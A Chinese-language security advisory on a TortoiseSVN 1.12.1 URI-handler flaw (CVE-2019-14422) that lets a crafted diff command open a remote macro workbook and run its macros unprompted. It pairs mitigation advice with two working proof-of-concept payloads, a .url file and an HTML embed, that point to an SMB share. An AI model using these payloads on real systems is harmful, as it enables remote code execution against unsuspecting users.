TortoiseSVN高危漏洞
字数 1500 2025-08-18 11:39:04
TortoiseSVN高危漏洞(CVE-2019-14422)技术分析与防护指南
漏洞概述
漏洞编号: CVE-2019-14422
影响软件: TortoiseSVN 1.12.1版本
漏洞类型: 远程代码执行漏洞
风险等级: 高危
披露时间: 2019年10月31日
漏洞描述
TortoiseSVN是一款基于Apache Subversion开发的流行版本控制软件,提供友好的图形用户界面。该漏洞源于其URI处理程序(Tsvncmd:)存在安全缺陷,允许在Excel工作簿上进行不受宏安全设置保护的定制diff操作,可能导致远程代码执行。
漏洞原理
-
Tsvncmd协议机制:
- TortoiseProc是TortoiseSVN的重要GUI程序,允许通过tsvncmd协议以web方式调用
- Tsvncmd URI handler允许用户自定义方式比较两个Excel文件的差异
-
安全绕过问题:
- 通过TortoiseSVN打开Excel文件时,会绕过Excel的宏安全设置
- 恶意Excel文件中的宏脚本会在无任何安全提醒的情况下直接执行
-
攻击向量:
- 使用
tsvncmd:command:diff?path:[file1]?path2:[file2]命令执行diff操作 - 对于.xls文件,TortoiseSVN会使用diff-xls.js进行比较
- 攻击者可利用此机制强制打开包含恶意宏的远程Excel文件
- 使用
受影响版本
- TortoiseSVN 1.12.1版本
漏洞验证(PoC)
PoC 1: 通过.url文件利用
- 创建payload.url文件,内容如下:
[{000214A0-0000-0000-C000-000000000046}]
Prop3=19,0
[InternetShortcut]
IDList=
URL=tsvncmd:command:diff?path:\\192.168.129.169\SharedDocs\mal.xlsm?path2:\\192.168.129.169\SharedDocs\null.xlsx
HotKey=0
-
攻击者需准备:
- 在192.168.129.169上设置SMB共享
- 共享两个Excel文件: mal.xlsm(包含恶意宏)和null.xlsx(空文件)
-
用户双击payload.url文件后:
- 恶意Excel文件被自动打开
- 其中的宏代码(如启动计算器)被执行
- 整个过程无任何安全警告
PoC 2: 通过HTML文件利用
- 创建HTML文件,内容如下:
<embed type="text/html" src="tsvncmd:command:diff?path:\\192.168.129.169\SharedDocs\mal.xlsm?path2:\\192.168.129.169\SharedDocs\null.xlsx" />
- 用户通过浏览器打开该HTML文件时:
- 会提示是否允许TortoiseSVN客户端执行
- 用户点击"允许"后,恶意宏被执行
防护措施
临时缓解方案
-
用户行为控制:
- 不要轻易打开可疑文件(电子邮件、链接、文档等)
- 禁用Tsvncmd协议处理程序(通过注册表或默认程序设置)
-
环境加固:
- 在Excel中设置高宏安全级别(尽管此漏洞可绕过)
- 禁用Office中的宏执行功能
根本解决方案
-
软件更新:
- 升级到TortoiseSVN最新版本(1.12.2及以上已修复此漏洞)
- 定期检查并安装软件更新补丁
-
安全防护体系:
- 部署终端防护软件,及时更新病毒库
- 使用高级威胁检测系统(如"铁穹"系统)监测异常行为
- 实施网络访问控制,限制SMB等高风险协议的访问
参考链接
- TortoiseSVN官方网站(获取安全版本): https://tortoisesvn.net/
- CVE详细记录: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-14422
附录: 技术细节
-
注册表关联:
- Tsvncmd协议处理程序通常注册在
HKEY_CLASSES_ROOT\tsvncmd下 - 可临时修改或删除此键值作为缓解措施
- Tsvncmd协议处理程序通常注册在
-
文件关联风险:
- .url文件和特定HTML构造可触发此协议
- 需警惕非常规文件扩展名的潜在风险
-
攻击场景扩展:
- 结合社会工程学,此漏洞可被用于鱼叉式钓鱼攻击
- 在企业内网中,可能通过内部文件共享快速传播